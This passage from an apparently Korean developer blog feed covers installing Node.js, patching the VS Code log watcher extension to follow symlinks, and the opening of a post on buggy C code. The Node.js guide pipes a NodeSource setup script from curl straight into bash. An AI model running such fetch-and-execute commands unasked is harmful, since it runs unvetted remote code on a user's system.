class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;apt-get update &lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;apt-get &lt;span class=&quot;nb&quot;&gt;install&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-y&lt;/span&gt; nodejs &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h1 id=&quot;구-방법&quot;&gt;구 방법&lt;/h1&gt; &lt;details&gt; &lt;summary&gt;자세히 보기&lt;/summary&gt; &lt;div&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;nodejs 16버전이면&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;curl &lt;span class=&quot;nt&quot;&gt;-sL&lt;/span&gt; https://deb.nodesource.com/setup_16.x | bash - &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt; &lt;p&gt;nodejs 18버전이면 (ubuntu 18 버전에서는 nodejs 버전 18 이상은 설치가 안되는 듯 하다. 종속성 꼬임 등)&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;curl &lt;span class=&quot;nt&quot;&gt;-sL&lt;/span&gt; https://deb.nodesource.com/setup_18.x | bash - &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt; &lt;p&gt;이후 업데이트 하고 nodejs를 설치한다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;apt-get update &lt;span class=&quot;o&quot;&gt;&amp;amp;&amp;amp;&lt;/span&gt; apt-get &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;yarn &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt; &lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;apt-get install -y nodejs &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;/details&gt; &lt;p&gt;&lt;br /&gt;&lt;/p&gt; &lt;p&gt;- END -&lt;/p&gt; </description><pubDate>Fri, 08 Dec 2023 00:00:00 +0900</pubDate><link>https://dev.iasdf.com/wiki/linux/node-install</link><guid isPermaLink="true">https://dev.iasdf.com/wiki/linux/node-install</guid> <category>linux</category> <category>nodejs</category> <category>linux</category> </item> <item><title>vscode extension 수정하기 (log watcher)</title><description> &lt;h1&gt;목차&lt;/h1&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#logwatcher-확장-수정&quot;&gt;logwatcher 확장 수정&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#수정&quot;&gt;수정&lt;/a&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#watchfilecommandjs-파일-내용을-아래와-같이-수정한다&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;watchfilecommand.js&lt;/code&gt; 파일 내용을 아래와 같이 수정한다.&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#stopwatchingcommandjs-파일에-아래-함수를-추가한다&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stopwatchingcommand.js&lt;/code&gt; 파일에 아래 함수를 추가한다.&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#extensionjs-파일에-아래-코드를-추가한다&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;extension.js&lt;/code&gt; 파일에 아래 코드를 추가한다.&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#packagejson-에-아래-코드를-추가한다&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;../package.json&lt;/code&gt; 에 아래 코드를 추가한다.&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ul&gt; &lt;hr /&gt; &lt;h1 id=&quot;logwatcher-확장-수정&quot;&gt;logwatcher 확장 수정&lt;/h1&gt; &lt;p&gt;&lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=automattic.logwatcher&quot;&gt;log watcher&lt;/a&gt; 라는 확장을 수정해 볼 것이다.&lt;/p&gt; &lt;p&gt;log watcher 확장은 심볼릭 링크로 걸린 log file은 감시하지 않는다. 따라서 간단하게 수정하여 심볼릭 링크로 걸린 log file도 감시할 수 있도록 수정해보자.&lt;/p&gt; &lt;p&gt;성능상의 이유로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;FileSystemWatcher&lt;/code&gt; 는 심볼릭 링크에 링킹된 파일은 감시하지 않는다고 한다. &lt;br /&gt; 따라서 확장을 수정해 심볼릭링크를 문자열에 입력할 시 해당 심볼릭 링크의 실제 파일 자동으로 획득해 추가하도록 수정할 것이다. &lt;br /&gt; &lt;a href=&quot;https://code.visualstudio.com/api/references/vscode-api#FileSystemWatcher&quot;&gt;https://code.visualstudio.com/api/references/vscode-api#FileSystemWatcher&lt;/a&gt;&lt;/p&gt; &lt;h2 id=&quot;수정&quot;&gt;수정&lt;/h2&gt; &lt;p&gt;log watcher 확장 디렉토리로 접근한다. (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;vscode 확장 디렉토리&amp;gt;/automattic.logwatcher-1.0.0/out&lt;/code&gt;)&lt;/p&gt; &lt;h4 id=&quot;watchfilecommandjs-파일-내용을-아래와-같이-수정한다&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;watchfilecommand.js&lt;/code&gt; 파일 내용을 아래와 같이 수정한다.&lt;/h4&gt; &lt;p&gt;먼저 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;node:js&lt;/code&gt; 모듈을 추가한다.&lt;/p&gt; &lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fsnode_1&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;node:fs&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;심볼릭 링크의 실제 파일을 가져오는 함수를 추가한다.&lt;/p&gt; &lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;k&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;get_symlink&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;lnkpromise&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Promise&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;reject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fsnode_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;readlink&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;linkString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;err&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;reject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;linkString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;lnkpromise&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;확장의 실제 동작 함수는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setUpWatcher&lt;/code&gt; 함수에서 담당한다. &lt;br /&gt; 따라서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setUpWrapper&lt;/code&gt; 함수와 argument를 수정하고 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;createOutputChannel&lt;/code&gt; 함수의 argument를 수정한다.&lt;/p&gt; &lt;div class=&quot;language-diff highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;gd&quot;&gt;-async function setUpWatcher(filename) { &lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;+async function setUpWatcher(realfile, filename) { &lt;/span&gt; const emitter = new node_events_1.EventEmitter(); &lt;span class=&quot;gd&quot;&gt;- const outputChannel = vscode_1.window.createOutputChannel(`Watch ${filename}`, &apos;log&apos;); &lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;+ const outputChannel = vscode_1.window.createOutputChannel(`Watch ${realfile}`, &apos;log&apos;); &lt;/span&gt;&lt;span class=&quot;err&quot;&gt; &lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;doWatchFile&lt;/code&gt; 함수를 수정한다.&lt;/p&gt; &lt;div class=&quot;language-diff highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;p&quot;&gt;async function doWatchFile(filename, quiet = false) { &lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;+ let linkfile = await get_symlink(filename); &lt;/span&gt;&lt;span class=&quot;gd&quot;&gt;- let resource = (0, resources_1.getResource)(filename) ?? await setUpWatcher(filename); &lt;/span&gt;&lt;span class=&quot;gi&quot;&gt;+ let resource = (0, resources_1.getResource)(filename) ?? await setUpWatcher(filename, linkfile); &lt;/span&gt; if (!resource) { return null; } // ... } &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h4 id=&quot;stopwatchingcommandjs-파일에-아래-함수를-추가한다&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stopwatchingcommand.js&lt;/code&gt; 파일에 아래 함수를 추가한다.&lt;/h4&gt; &lt;p&gt;(해당 내용은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;stopWatchingAll&lt;/code&gt; - 모든 확장에 대한 감시 중지 기능을 추가하는 내용이다.)&lt;/p&gt; &lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;k&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;stopWatchingAllCommandHandler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;resources_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;freeAllResources&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)();&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;exports&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;stopWatchingAllCommandHandler&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;stopWatchingAllCommandHandler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h4 id=&quot;extensionjs-파일에-아래-코드를-추가한다&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;extension.js&lt;/code&gt; 파일에 아래 코드를 추가한다.&lt;/h4&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;registerCommand(&apos;logwatcher.stopWatching&apos;, ...&lt;/code&gt; 부분 뒤쪽에 아래 코드를 삽입한다.&lt;/p&gt; &lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nx&quot;&gt;vscode_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;commands&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;registerCommand&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;logwatcher.stopWatchingAll&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;stopwatchingcommand_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;stopWatchingAllCommandHandler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h4 id=&quot;packagejson-에-아래-코드를-추가한다&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;../package.json&lt;/code&gt; 에 아래 코드를 추가한다.&lt;/h4&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;commands&lt;/code&gt; 부분의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;logwatcher.stopWatching&lt;/code&gt; 뒤쪽에 아래 코드를 삽입한다.&lt;/p&gt; &lt;div class=&quot;language-diff highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt; { &quot;command&quot;: &quot;logwatcher.stopWatching&quot;, &quot;title&quot;: &quot;Stop Watching File…&quot;, &quot;category&quot;: &quot;Log Watcher&quot; &lt;span class=&quot;gi&quot;&gt;+ }, + { + &quot;command&quot;: &quot;logwatcher.stopWatchingAll&quot;, + &quot;title&quot;: &quot;Stop Watching File All&quot;, + &quot;category&quot;: &quot;Log Watcher&quot; &lt;/span&gt; } &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; </description><pubDate>Thu, 30 Nov 2023 00:00:00 +0900</pubDate><link>https://dev.iasdf.com/wiki/vscode/vscode-extension-modify-logwatcher</link><guid isPermaLink="true">https://dev.iasdf.com/wiki/vscode/vscode-extension-modify-logwatcher</guid> <category>vscode</category> <category>extension</category> <category>javascript</category> <category>nodejs</category> <category>vscode</category> </item> <item><title>C언어 버그</title><description> &lt;h1&gt;목차&lt;/h1&gt; &lt;ul&gt; &lt;li&gt;&lt;a href=&quot;#메모리누수-널-문자열-비교&quot;&gt;메모리누수, 널 문자열 비교&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#널검사-안한-포인터-사용&quot;&gt;널검사 안한 포인터 사용&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#free-후-널-초기화-미진행&quot;&gt;free 후 널 초기화 미진행&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#댕글링-포인터를-만드는-행위&quot;&gt;댕글링 포인터를 만드는 행위&lt;/a&gt;&lt;/li&gt; &lt;li&gt;&lt;a href=&quot;#변수-구조체-할당-시-초기화&quot;&gt;변수, 구조체, 할당 시 초기화&lt;/a&gt;&lt;/li&gt; &lt;/ul&gt; &lt;hr /&gt; &lt;p&gt;C언어의 위험한 코드를 정리한 문서입니다.&lt;/p&gt; &lt;h3 id=&quot;메모리누수-널-문자열-비교&quot;&gt;메모리누수, 널 문자열 비교&lt;/h3&gt; &lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt; #include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt; #include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt; &lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;main&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p_equal_flag&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;malloc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;hello&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\0&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;world&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\0&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;strcmp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;hello&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\0&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;wall&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p_equal_flag&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span 